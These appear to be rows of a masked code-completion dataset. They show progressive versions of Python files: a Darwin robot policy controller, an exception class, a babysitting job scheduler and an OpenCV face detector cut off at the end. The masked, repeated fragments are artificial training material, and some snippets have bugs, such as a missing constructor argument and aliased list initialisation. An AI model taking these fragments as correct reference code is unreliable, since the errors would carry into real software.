pose_stand_val = np.array([1500, 2048, 2048, 2500, 2048, 2048, 2048,
2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048,
2048, 2048])
pose_squat = VAL2RADIAN(pose_squat_val)
pose_stand = VAL2RADIAN(pose_stand_val)
interp_sch = [[0.0, pose_squat], [3.0, pose_stand], [4.0, pose_stand]]
policy = NP_Policy(interp_sch,
'data/darwin_standsquat_policy_conseq_obs_warmstart.pkl',
discrete_action=True, action_bins=np.array([11] * 20),
delta_angle_scale=0.3)
controller = Controller(dart_world, policy)
dart_world.skeletons[-1].set_controller(controller)
print('create controller OK')
pydart.gui.viewer.launch(dart_world, default_camera=1)
| ################################################################################
# Controller of the Darwin Squat-Stand task using numpy #
# Note: all joint data used in this file uses the dof indexing with #
# from the simulation environment, not the hardware. #
################################################################################
import joblib
import numpy as np
from darwin.darwin_utils import *
# Class for a neural network model in numpy
class NP_Net:
def __init__(self, nvec = None):
self.obrms_mean = None # for observation running mean std
self.obrms_std = None # for observation running mean std
self.nn_params = [] # stores the neural net parameters in the form of [[W0, b0], [W1, b1], ... [Wn, bn]]
self.nvec = nvec # None if continuous action, otherwise discrete action in the form of
# [numbins, numbins, ... numbins]
def load_from_file(self, fname):
params = joblib.load(fname)
pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]
obrms_runningsumsq = params[pol_scope+'/obfilter/runningsumsq:0']
obrms_count = params[pol_scope+'/obfilter/count:0']
obrms_runningsum = params[pol_scope+'/obfilter/runningsum:0']
self.obrms_mean = obrms_runningsum / obrms_count
self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - (self.obrms_mean**2), 1e-2, 1000000))
for i in range(10): # assume maximum layer size of 10
if pol_scope+'/pol/fc'+str(i)+'/kernel:0' in params:
W = params[pol_scope+'/pol/fc'+str(i)+'/kernel:0']
b = params[pol_scope+'/pol/fc'+str(i)+'/bias:0']
self.nn_params.append([W, b])
W_final = params[pol_scope + '/pol/final/kernel:0']
b_final = params[pol_scope + '/pol/final/bias:0']
self.nn_params.append([W_final, b_final])
def get_output(self, input, activation = np.tanh):
assert self.obrms_mean is not None
last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0)
for i in range(len(self.nn_params)-1):
last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1])
out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]
if self.nvec is None:
return out
else:
# convert for discrete output
splitted_out = np.split(out, np.cumsum(self.nvec)[0:-1])
discrete_out = np.array([np.argmax(prob) for prob in splitted_out])
return discrete_out
# Class for a neural network model with mirror symmetry in numpy
class NP_Net_MirrorSym:
def __init__(self, nvec = None, observation_permutation=None,action_permutation=None):
self.obrms_mean = None # for observation running mean std
self.obrms_std = None # for observation running mean std
self.nn_params = [] # stores the neural net parameters in the form of [[W0, b0], [W1, b1], ... [Wn, bn]]
self.nvec = nvec # None if continuous action, otherwise discrete action in the form of
# [numbins, numbins, ... numbins]
obs_perm_mat = np.zeros((len(observation_permutation), len(observation_permutation)), dtype=np.float32)
self.obs_perm_mat = obs_perm_mat
for i, perm in enumerate(observation_permutation):
obs_perm_mat[i][int(np.abs(perm))] = np.sign(perm)
if nvec is None:
act_perm_mat = np.zeros((len(action_permutation), len(action_permutation)), dtype=np.float32)
self.act_perm_mat = act_perm_mat
for i, perm in enumerate(action_permutation):
self.act_perm_mat[i][int(np.abs(perm))] = np.sign(perm)
else:
total_dim = int(np.sum(nvec))
dim_index = np.concatenate([[0], np.cumsum(nvec)])
act_perm_mat = np.zeros((total_dim, total_dim), dtype=np.float32)
self.act_perm_mat = act_perm_mat
for i, perm in enumerate(action_permutation):
perm_mat = np.identity(nvec[i])
if np.sign(perm) < 0:
perm_mat = np.flipud(perm_mat)
self.act_perm_mat[dim_index[i]:dim_index[i] + nvec[i],
dim_index[int(np.abs(perm))]:dim_index[int(np.abs(perm))] + nvec[int(np.abs(perm))]] = perm_mat
def load_from_file(self, fname):
params = joblib.load(fname)
pol_scope = list(params.keys())[0][0:list(params.keys())[0].find('/')]
obrms_runningsumsq = params[pol_scope+'/obfilter/runningsumsq:0']
obrms_count = params[pol_scope+'/obfilter/count:0']
obrms_runningsum = params[pol_scope+'/obfilter/runningsum:0']
self.obrms_mean = obrms_runningsum / obrms_count
self.obrms_std = np.sqrt(np.clip(obrms_runningsumsq / obrms_count - (self.obrms_mean**2), 1e-2, 1000000))
for i in range(10): # assume maximum layer size of 10
if pol_scope+'/pol_net/genff'+str(i)+'/w:0' in params:
W = params[pol_scope+'/pol_net/genff'+str(i)+'/w:0']
b = params[pol_scope+'/pol_net/genff'+str(i)+'/b:0']
self.nn_params.append([W, b])
W_final = params[pol_scope + '/pol_net/genff_out/w:0']
b_final = params[pol_scope + '/pol_net/genff_out/b:0']
self.nn_params.append([W_final, b_final])
def get_output(self, input, activation = np.tanh):
assert self.obrms_mean is not None
last_out = np.clip((input - self.obrms_mean) / self.obrms_std, -5.0, 5.0)
for i in range(len(self.nn_params)-1):
last_out = activation(np.dot(self.nn_params[i][0].T, last_out) + self.nn_params[i][1])
out = np.dot(self.nn_params[-1][0].T, last_out) + self.nn_params[-1][1]
mirrorlast_out = np.clip((np.dot(input, self.obs_perm_mat) - self.obrms_mean) / self.obrms_std, -5.0, 5.0)
for i in range(len(self.nn_params) - 1):
mirrorlast_out = activation(np.dot(self.nn_params[i][0].T, mirrorlast_out) + self.nn_params[i][1])
mirrorout = np.dot(np.dot(self.nn_params[-1][0].T, mirrorlast_out) + self.nn_params[-1][1], self.act_perm_mat)
if self.nvec is None:
return out + mirrorout
else:
# convert for discrete output
splitted_out = np.split(out + mirrorout, np.cumsum(self.nvec)[0:-1])
discrete_out = np.array([np.argmax(prob) for prob in splitted_out])
return discrete_out
# Class for a neural network policy in numpy
# Includes the action filtering and pose interpolation
class NP_Policy:
# interp_sch makes the feed-forward motion
# interp_sch contains the timing and pose id throughout the trajectory
def __init__(self, interp_sch, param_file, discrete_action, action_bins, delta_angle_scale, action_filter_size,
obs_perm = None, act_perm = None):
self.interp_sch = interp_sch
self.obs_cache = []
self.action_cache = []
self.action_filter_size = action_filter_size
if interp_sch is not None:
self.net = NP_Net()
else:
self.net = NP_Net_MirrorSym(action_bins, obs_perm, act_perm)
self.net.load_from_file(param_file)
self.discrete_action = discrete_action
self.delta_angle_scale = delta_angle_scale
if discrete_action:
self.net.nvec = action_bins
# Get the initial state for the robot
# RETURN: a 20d vector for the robot pose
def get_initial_state(self):
if self.interp_sch is not None:
return self.interp_sch[0][1]
else:
return 0.5*(pose_squat + pose_stand)
# Reset the state of the policy
# This is needed because the action cache essentially forms a memory in the policy
def reset(self):
self.action_cache = []
# Return the action to be taken by the robot given the observation and current time
# INPUT: o, a 40d vector containing the pose and velocity of the robot
# t, current time in seconds, used to get the reference pose
# RETURN: a 20d vector containing the target angle (in radians) for the robot joints
def act(self, o, t):
# get network output action
new_action = self.net.get_output(o)
if self.discrete_action:
new_action = new_action * 1.0 / np.floor(self.net.nvec/2.0) - 1.0
self.action_cache.append(new_action)
if len(self.action_cache) > self.action_filter_size:
self.action_cache.pop(0)
filtered_action = np.mean(self.action_cache, axis=0)
# get feedforward action
clamped_control = np.clip(filtered_action, -1, 1)
if self.interp_sch is not None:
self.ref_target = self.interp_sch[0][1]
for i in range(len(self.interp_sch) - 1):
if t >= self.interp_sch[i][0] and t < self.interp_sch[i + 1][0]:
ratio = (t - self.interp_sch[i][0]) / (self.interp_sch[i + 1][0] - self.interp_sch[i][0])
self.ref_target = ratio * self.interp_sch[i + 1][1] + (1 - ratio) * self.interp_sch[i][1]
if t > self.interp_sch[-1][0]:
self.ref_target = self.interp_sch[-1][1]
# combine policy output and keyframe interpolation to get the target joint positions
target_pose = self.ref_target + clamped_control * self.delta_angle_scale
else:
target_pose = (clamped_control + 1.0) / 2.0 * (SIM_CONTROL_UP_BOUND_RAD - SIM_CONTROL_LOW_BOUND_RAD) + SIM_CONTROL_LOW_BOUND_RAD
target_pose = np.clip(target_pose, SIM_JOINT_LOW_BOUND_RAD, SIM_JOINT_UP_BOUND_RAD)
return target_pose
def toRobot(positions):
# reorder joints
index = [3,0,4,1,5,2,14,8,15,9,16,10,17,11,18,12,19,13,6,7]
# convert from radians to int
robotState = np.zeros(len(positions))
for i in range(len(positions)):
robotState[i] = int(positions[i]*180*(1/(np.pi*0.088))) + 2048
return robotState[index].astype(int)
#######################################
# test the file in pydart2 simulation #
#######################################
if __name__ == "__main__":
import pydart2 as pydart
import gym
env = gym.make('DartDarwinSquat-v1') # use the dart_world in the gym environment to avoid copying the data
env.reset()
dart_world = env.env.dart_world
class Controller(object):
def __init__(self, world, policy):
self.world = world
self.target = None
self.kp = np.array([2.1, 1.79, 4.93,
2.0, 2.02, 1.98,
2.2, 2.06,
148, 152, 150, 136, 153, 102,
151, 151.4, 150.45, 151.36, 154, 105.2])
self.kd = np.array([0.21, 0.23, 0.22,
0.25, 0.21, 0.26,
0.28, 0.213
, 0.192, 0.198, 0.22, 0.199, 0.02, 0.01,
0.53, 0.27, 0.21, 0.205, 0.022, 0.056])
self.step = 0
self.frameskip = 25
self.fulltau = np.zeros(26)
self.np_policy = policy
self.target_sim_cache = []
self.target_hw_cache = []
def compute(self):
if self.step % self.frameskip == 0:
o = np.concatenate([self.world.skeletons[-1].q[6:], self.world.skeletons[-1].dq[6:]])
self.target = self.np_policy.act(o, self.world.time())
self.target_hw_cache.append(toRobot(self.target))
self.target_sim_cache.append(RADIAN2VAL(self.target))
np.savetxt('darwin/feedforward_target_simindex.txt', np.array(self.target_sim_cache, dtype=np.int))
np.savetxt('darwin/feedforward_target_hwindex.txt', np.array(self.target_hw_cache, dtype=np.int))
tau = -self.kp * (self.world.skeletons[-1].q[6:] - self.target) - self.kd * self.world.skeletons[-1].dq[6:]
self.fulltau = np.concatenate([np.zeros(6), tau])
self.step += 1
return np.clip(self.fulltau, -3.5, 3.5) # torque limit of 3.5 Nm
# Set joint damping
for i in range(6, dart_world.skeletons[-1].ndofs):
j = dart_world.skeletons[-1].dof(i)
j.set_damping_coefficient(0.515)
dart_world.set_gravity([0, 0, -9.81])
dart_world.skeletons[1].set_mobile(False)
dart_world.skeletons[1].q = dart_world.skeletons[1].q + 100
dart_world.set_collision_detector(0)
dart_world.skeletons[-1].set_self_collision_check(False)
dart_world.skeletons[0].bodynodes[0].set_friction_coeff(5.0)
for bn in dart_world.skeletons[-1].bodynodes:
bn.set_friction_coeff(5.0)
############################################################################
#### Setup the policy from file ####
#### refer to this part for construction of policy to be run on hardware ###
############################################################################
pose_squat_val = np.array([2509, 2297, 1714, 1508, 1816, 2376,
2047, 2171,
2032, 2039, 2795, 648, 1231, 2040, 2041, 2060, 1281, 3448, 2855, 2073])
pose_stand_val = np.array([1500, 2048, 2048, 2500, 2048, 2048,
2048, 2048,
2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048, 2048])
pose_squat = VAL2RADIAN(pose_squat_val)
pose_stand = VAL2RADIAN(pose_stand_val)
# keyframe scheduling for squat stand task
interp_sch = [[0.0, pose_squat],
[3.0, pose_stand],
[4.0, pose_stand],
]
policy = NP_Policy(interp_sch, 'data/darwin_standsquat_policy_conseq_obs_warmstart.pkl', discrete_action=True,
action_bins=np.array([11] * 20), delta_angle_scale=0.3)
############################################################################
# End of setup for policy
# policy should be used for executing on other environments
############################################################################
# Initialize the controller
controller = Controller(dart_world, policy)
dart_world.skeletons[-1].set_controller(controller)
print('create controller OK')
pydart.gui.viewer.launch(dart_world,
default_camera=1) # Use Z-up camera
| [
10,
13,
15,
16,
17
] |
9,946 | 2ee1539e051677ad38ab7727ff5edefb1aebd015 | <mask token>
| class BaseException(Exception):
<mask token>
| class BaseException(Exception):
def __init__(self, message=''):
super(BaseException, self).__init__()
self.message = message
| class BaseException(Exception):
def __init__(self, message=""):
super(BaseException, self).__init__()
self.message = message
| null | [
0,
1,
2,
3
] |
9,947 | f57fa2787934dc2a002f82aa1af1f1d9a7f90da5 | <mask token>
class Job:
"""
Job class which stores the attributes of the jobs
"""
def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):
self.day = day
self.startTime = startTime
self.endTime = endTime
self.noOfChildren = noOfChildren
self.hourlyRate = hourlyRate
self.value = (endTime - startTime) / 100 * hourlyRate
def __str__(self):
return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.
endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate
) + ' ' + str(self.value)
<mask token>
def sortInputByEndTimeAndDay(jobList):
"""
Sorts the jobList based on day and then the endTime
:param jobList: list of jobs
:return: jobList in a sorted manner with respect to day and endTime
"""
jobList = sorted(jobList, key=attrgetter('day', 'endTime'))
return jobList
def divideJobs(jobList, maximum):
"""
Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.
:param jobList: sorted jobLists
:param maximum: the maximum amongst the days being considered
:return: segregatedJobs which is a list of lists
"""
segregatedJobs = [[0]] * maximum
temp = jobList[0].day
j = 0
for i in range(0, len(jobList)):
if jobList[i].day == temp:
segregatedJobs[j].append(jobList[i])
else:
temp = jobList[i].day
j += 1
segregatedJobs[j] = [0, jobList[i]]
return segregatedJobs
def computeRho(segregatedJob):
"""
To compute the Roh value in a list
:param segregatedJob: jobs done in a particular day
:return: rho: list in which computed rho is stored
"""
rho = [0]
count = 0
for i in range(1, len(segregatedJob)):
j = i - 1
while j > 0:
if segregatedJob[i].startTime >= segregatedJob[j].endTime:
count += 1
rho.append(j)
break
j = j - 1
if count == 0:
rho.append(0)
count = 0
return rho
<mask token>
| <mask token>
class Job:
"""
Job class which stores the attributes of the jobs
"""
def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):
self.day = day
self.startTime = startTime
self.endTime = endTime
self.noOfChildren = noOfChildren
self.hourlyRate = hourlyRate
self.value = (endTime - startTime) / 100 * hourlyRate
def __str__(self):
return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.
endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate
) + ' ' + str(self.value)
<mask token>
def takeInput():
"""
Takes input from the console and creates objects and stores in a list jobList
:return: jobList-list in which input is stored as objects
"""
n = int(input())
jobList = []
for i in range(n):
str = input().strip('\n').split(' ')
if int(str[1]) >= 600 and int(str[2]) <= 2300:
jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),
int(str[4]))
jobList.append(jobs)
return jobList
def sortInputByEndTimeAndDay(jobList):
"""
Sorts the jobList based on day and then the endTime
:param jobList: list of jobs
:return: jobList in a sorted manner with respect to day and endTime
"""
jobList = sorted(jobList, key=attrgetter('day', 'endTime'))
return jobList
def divideJobs(jobList, maximum):
"""
Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.
:param jobList: sorted jobLists
:param maximum: the maximum amongst the days being considered
:return: segregatedJobs which is a list of lists
"""
segregatedJobs = [[0]] * maximum
temp = jobList[0].day
j = 0
for i in range(0, len(jobList)):
if jobList[i].day == temp:
segregatedJobs[j].append(jobList[i])
else:
temp = jobList[i].day
j += 1
segregatedJobs[j] = [0, jobList[i]]
return segregatedJobs
def computeRho(segregatedJob):
"""
To compute the Roh value in a list
:param segregatedJob: jobs done in a particular day
:return: rho: list in which computed rho is stored
"""
rho = [0]
count = 0
for i in range(1, len(segregatedJob)):
j = i - 1
while j > 0:
if segregatedJob[i].startTime >= segregatedJob[j].endTime:
count += 1
rho.append(j)
break
j = j - 1
if count == 0:
rho.append(0)
count = 0
return rho
def algo(segregatedJob):
"""
Implementing the interval scheduling algorithm
:param segregatedJob: A sorted list of jobs of one particular day
:return: None
"""
global total
rho = computeRho(segregatedJob)
r = len(rho)
S = [[(0) for x in range(r)] for y in range(r)]
k = 0
while k < len(S):
for j in range(k, len(S)):
if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[
j - 1][k - 1])
elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:
S[j][k] = S[j - 1][k]
elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S
[j - 1][k - 1])
elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j -
1][k])
else:
pass
S[k][j] = S[j][k]
k += 1
length = len(S)
total += S[length - 1][length - 1]
<mask token>
| <mask token>
class Job:
"""
Job class which stores the attributes of the jobs
"""
def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):
self.day = day
self.startTime = startTime
self.endTime = endTime
self.noOfChildren = noOfChildren
self.hourlyRate = hourlyRate
self.value = (endTime - startTime) / 100 * hourlyRate
def __str__(self):
return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.
endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate
) + ' ' + str(self.value)
total = 0
def takeInput():
"""
Takes input from the console and creates objects and stores in a list jobList
:return: jobList-list in which input is stored as objects
"""
n = int(input())
jobList = []
for i in range(n):
str = input().strip('\n').split(' ')
if int(str[1]) >= 600 and int(str[2]) <= 2300:
jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),
int(str[4]))
jobList.append(jobs)
return jobList
def sortInputByEndTimeAndDay(jobList):
"""
Sorts the jobList based on day and then the endTime
:param jobList: list of jobs
:return: jobList in a sorted manner with respect to day and endTime
"""
jobList = sorted(jobList, key=attrgetter('day', 'endTime'))
return jobList
def divideJobs(jobList, maximum):
"""
Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.
:param jobList: sorted jobLists
:param maximum: the maximum amongst the days being considered
:return: segregatedJobs which is a list of lists
"""
segregatedJobs = [[0]] * maximum
temp = jobList[0].day
j = 0
for i in range(0, len(jobList)):
if jobList[i].day == temp:
segregatedJobs[j].append(jobList[i])
else:
temp = jobList[i].day
j += 1
segregatedJobs[j] = [0, jobList[i]]
return segregatedJobs
def computeRho(segregatedJob):
"""
To compute the Roh value in a list
:param segregatedJob: jobs done in a particular day
:return: rho: list in which computed rho is stored
"""
rho = [0]
count = 0
for i in range(1, len(segregatedJob)):
j = i - 1
while j > 0:
if segregatedJob[i].startTime >= segregatedJob[j].endTime:
count += 1
rho.append(j)
break
j = j - 1
if count == 0:
rho.append(0)
count = 0
return rho
def algo(segregatedJob):
"""
Implementing the interval scheduling algorithm
:param segregatedJob: A sorted list of jobs of one particular day
:return: None
"""
global total
rho = computeRho(segregatedJob)
r = len(rho)
S = [[(0) for x in range(r)] for y in range(r)]
k = 0
while k < len(S):
for j in range(k, len(S)):
if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[
j - 1][k - 1])
elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:
S[j][k] = S[j - 1][k]
elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S
[j - 1][k - 1])
elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j -
1][k])
else:
pass
S[k][j] = S[j][k]
k += 1
length = len(S)
total += S[length - 1][length - 1]
def main():
"""
Main function.
return: None
"""
global total
jobList = takeInput()
jobListSorted = sortInputByEndTimeAndDay(jobList)
maximum = jobListSorted[len(jobListSorted) - 1].day
segregatedJobs = divideJobs(jobListSorted, maximum)
for i in range(len(segregatedJobs)):
algo(segregatedJobs[i])
print(int(total))
if __name__ == '__main__':
main()
| <mask token>
from operator import *
class Job:
"""
Job class which stores the attributes of the jobs
"""
def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):
self.day = day
self.startTime = startTime
self.endTime = endTime
self.noOfChildren = noOfChildren
self.hourlyRate = hourlyRate
self.value = (endTime - startTime) / 100 * hourlyRate
def __str__(self):
return str(self.day) + ' ' + str(self.startTime) + ' ' + str(self.
endTime) + ' ' + str(self.noOfChildren) + ' ' + str(self.hourlyRate
) + ' ' + str(self.value)
total = 0
def takeInput():
"""
Takes input from the console and creates objects and stores in a list jobList
:return: jobList-list in which input is stored as objects
"""
n = int(input())
jobList = []
for i in range(n):
str = input().strip('\n').split(' ')
if int(str[1]) >= 600 and int(str[2]) <= 2300:
jobs = Job(int(str[0]), int(str[1]), int(str[2]), int(str[3]),
int(str[4]))
jobList.append(jobs)
return jobList
def sortInputByEndTimeAndDay(jobList):
"""
Sorts the jobList based on day and then the endTime
:param jobList: list of jobs
:return: jobList in a sorted manner with respect to day and endTime
"""
jobList = sorted(jobList, key=attrgetter('day', 'endTime'))
return jobList
def divideJobs(jobList, maximum):
"""
Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.
:param jobList: sorted jobLists
:param maximum: the maximum amongst the days being considered
:return: segregatedJobs which is a list of lists
"""
segregatedJobs = [[0]] * maximum
temp = jobList[0].day
j = 0
for i in range(0, len(jobList)):
if jobList[i].day == temp:
segregatedJobs[j].append(jobList[i])
else:
temp = jobList[i].day
j += 1
segregatedJobs[j] = [0, jobList[i]]
return segregatedJobs
def computeRho(segregatedJob):
"""
To compute the Roh value in a list
:param segregatedJob: jobs done in a particular day
:return: rho: list in which computed rho is stored
"""
rho = [0]
count = 0
for i in range(1, len(segregatedJob)):
j = i - 1
while j > 0:
if segregatedJob[i].startTime >= segregatedJob[j].endTime:
count += 1
rho.append(j)
break
j = j - 1
if count == 0:
rho.append(0)
count = 0
return rho
def algo(segregatedJob):
"""
Implementing the interval scheduling algorithm
:param segregatedJob: A sorted list of jobs of one particular day
:return: None
"""
global total
rho = computeRho(segregatedJob)
r = len(rho)
S = [[(0) for x in range(r)] for y in range(r)]
k = 0
while k < len(S):
for j in range(k, len(S)):
if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[
j - 1][k - 1])
elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:
S[j][k] = S[j - 1][k]
elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S
[j - 1][k - 1])
elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j -
1][k])
else:
pass
S[k][j] = S[j][k]
k += 1
length = len(S)
total += S[length - 1][length - 1]
def main():
"""
Main function.
return: None
"""
global total
jobList = takeInput()
jobListSorted = sortInputByEndTimeAndDay(jobList)
maximum = jobListSorted[len(jobListSorted) - 1].day
segregatedJobs = divideJobs(jobListSorted, maximum)
for i in range(len(segregatedJobs)):
algo(segregatedJobs[i])
print(int(total))
if __name__ == '__main__':
main()
| """
file: babysit.py
language: python3
author: [email protected] Parvathi Nair
author: vpb8262 Vishal Bulchandani
"""
"""
To compute the maximum pay a brother and sister can earn considering jobs that they can work on
together or separately depending on the number of children to babysit
"""
from operator import *
class Job:
"""
Job class which stores the attributes of the jobs
"""
def __init__(self, day, startTime, endTime, noOfChildren, hourlyRate):
self.day=day
self.startTime=startTime
self.endTime=endTime
self.noOfChildren=noOfChildren
self.hourlyRate=hourlyRate
self.value=(endTime-startTime)/100*hourlyRate
def __str__(self):
return str(self.day)+ " " + str(self.startTime) + " "+ str(self.endTime) + " " +str(self.noOfChildren) + " " + str(self.hourlyRate)+ " " + str(self.value)
#total is global variable
total = 0
def takeInput():
"""
Takes input from the console and creates objects and stores in a list jobList
:return: jobList-list in which input is stored as objects
"""
n=int(input())
jobList=[]
#taking n inputs and creating objects
for i in range (n):
str = input().strip('\n').split(" ")
if int(str[1])>=600 and int(str[2])<=2300:
jobs=Job (int(str[0]),int(str[1]),int(str[2]),int(str[3]),int(str[4]))
jobList.append(jobs)
return jobList
def sortInputByEndTimeAndDay(jobList):
"""
Sorts the jobList based on day and then the endTime
:param jobList: list of jobs
:return: jobList in a sorted manner with respect to day and endTime
"""
jobList=sorted(jobList, key= attrgetter('day','endTime'))
return jobList
def divideJobs(jobList, maximum):
"""
Segregates the jobs into list of lists with respect to day, that is jobs done in a particular day is stored in a single index.
:param jobList: sorted jobLists
:param maximum: the maximum amongst the days being considered
:return: segregatedJobs which is a list of lists
"""
segregatedJobs=[[0]]*(maximum)
temp=jobList[0].day
j = 0
for i in range(0,len(jobList)):
if jobList[i].day==temp:
segregatedJobs[j].append(jobList[i])
else:
temp = jobList[i].day
j += 1
segregatedJobs[j]=[0,jobList[i]]
return segregatedJobs
def computeRho(segregatedJob):
"""
To compute the Roh value in a list
:param segregatedJob: jobs done in a particular day
:return: rho: list in which computed rho is stored
"""
#inserting 0 at the 1st position
rho = [0]
count = 0
#calculating rho
for i in range(1,len(segregatedJob)):
j = i-1
while(j>0):
if segregatedJob[i].startTime >= segregatedJob[j].endTime:
count += 1
rho.append(j)
break
j=j-1
if count == 0:
rho.append(0)
count = 0
return rho
def algo(segregatedJob):
"""
Implementing the interval scheduling algorithm
:param segregatedJob: A sorted list of jobs of one particular day
:return: None
"""
global total
rho = computeRho(segregatedJob)
r = len(rho);
S = [[0 for x in range(r)] for y in range(r)]
k = 0
#implementaion of scheduling algorithm
while(k<len(S)):
for j in range(k, len(S)):
if k == j and j != 0 and segregatedJob[j].noOfChildren < 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][k - 1], S[j - 1][k - 1])
elif j > k and j != 0 and segregatedJob[j].noOfChildren >= 4:
S[j][k] = S[j - 1][k]
elif k == j and j != 0 and segregatedJob[j].noOfChildren >= 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][rho[k]], S[j - 1][k - 1])
elif j > k and j != 0 and segregatedJob[j].noOfChildren < 4:
S[j][k] = max(segregatedJob[j].value + S[rho[j]][k], S[j - 1][k])
else:
pass
S[k][j] = S[j][k]
k += 1
length = len(S)
#Adding the max pay for every individual field in the matrix
total += S[length-1][length-1]
def main():
"""
Main function.
return: None
"""
global total
jobList=takeInput()
jobListSorted=sortInputByEndTimeAndDay(jobList)
maximum=jobListSorted[len(jobListSorted)-1].day
segregatedJobs=divideJobs(jobListSorted, maximum)
for i in range (len(segregatedJobs)):
algo(segregatedJobs[i])
# print the total pay
print(int(total))
if __name__ == '__main__':
main() | [
7,
9,
12,
13,
14
] |
9,948 | 1df3a5dc8ed767e20d34c2836eed79872a21a016 | <mask token>
| <mask token>
def face_detector(img, face_cascade, eye_cascade, face_f):
xf = face_f[0]
yf = face_f[1]
wf = face_f[2]
hf = face_f[3]
xi = 0
yi = 0
wi = img.shape[1]
hi = img.shape[0]
c = float(0.1)
print('face_f: ', xf, xf + wf, yf, yf + hf)
if xf != xi or yf != yi or wf != wi or hf != hi:
y1 = yf - round(c * hf)
y2 = yf + hf + round(c * hf)
x1 = xf - round(c * wf)
x2 = xf + wf + round(c * wf)
roi_f = img[y1:y2, x1:x2]
print('Face apertura: ', x1, x2, y1, y2)
cv2.imshow('Face apertura', roi_f)
else:
roi_f = img[face_f[1]:face_f[1] + face_f[3], face_f[0]:face_f[0] +
face_f[2]]
gray_img = cv2.cvtColor(roi_f, cv2.COLOR_BGR2GRAY)
cv2.imshow('gray_img', gray_img)
faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.04,
minNeighbors=5)
print('Faces: ', faces)
if type(faces) == np.ndarray:
flag = -1
for x, y, w, h in faces:
flag = flag + 1
if w >= 100 and w <= 125 and h >= 100 and h <= 125:
print('Entro en el if de tamaño')
print('Face: ', x, y, w, h)
roi_gray = gray_img[y:y + h, x:x + w]
cv2.imshow('roi_gray', roi_gray)
eyes = eye_cascade.detectMultiScale(roi_gray)
c_eyes = 0
for ex, ey, ew, eh in eyes:
c_eyes = c_eyes + 1
if c_eyes >= 2:
print('faces[flag]', faces[flag])
return faces[flag]
| import cv2
import numpy as np
def face_detector(img, face_cascade, eye_cascade, face_f):
xf = face_f[0]
yf = face_f[1]
wf = face_f[2]
hf = face_f[3]
xi = 0
yi = 0
wi = img.shape[1]
hi = img.shape[0]
c = float(0.1)
print('face_f: ', xf, xf + wf, yf, yf + hf)
if xf != xi or yf != yi or wf != wi or hf != hi:
y1 = yf - round(c * hf)
y2 = yf + hf + round(c * hf)
x1 = xf - round(c * wf)
x2 = xf + wf + round(c * wf)
roi_f = img[y1:y2, x1:x2]
print('Face apertura: ', x1, x2, y1, y2)
cv2.imshow('Face apertura', roi_f)
else:
roi_f = img[face_f[1]:face_f[1] + face_f[3], face_f[0]:face_f[0] +
face_f[2]]
gray_img = cv2.cvtColor(roi_f, cv2.COLOR_BGR2GRAY)
cv2.imshow('gray_img', gray_img)
faces = face_cascade.detectMultiScale(gray_img, scaleFactor=1.04,
minNeighbors=5)
print('Faces: ', faces)
if type(faces) == np.ndarray:
flag = -1
for x, y, w, h in faces:
flag = flag + 1
if w >= 100 and w <= 125 and h >= 100 and h <= 125:
print('Entro en el if de tamaño')
print('Face: ', x, y, w, h)
roi_gray = gray_img[y:y + h, x:x + w]
cv2.imshow('roi_gray', roi_gray)
eyes = eye_cascade.detectMultiScale(roi_gray)
c_eyes = 0
for ex, ey, ew, eh in eyes:
c_eyes = c_eyes + 1
if c_eyes >= 2:
print('faces[flag]', faces[flag])
return faces[flag]
| #LIBRERIAS
import cv2
import numpy as np
#FUNCION: recibe una imagen y te devuelve las coordenadas de las caras
def face_detector(img, face_cascade, eye_cascade, face_f):
#variables face_f
xf = face_f[0]
yf = face_f[1]
wf = face_f[2]
hf = face_f[3]
#variables img
xi = 0
yi = 0
wi = img.shape[1]
hi = img.shape[0]
#apertura de face_f con relacion a la img
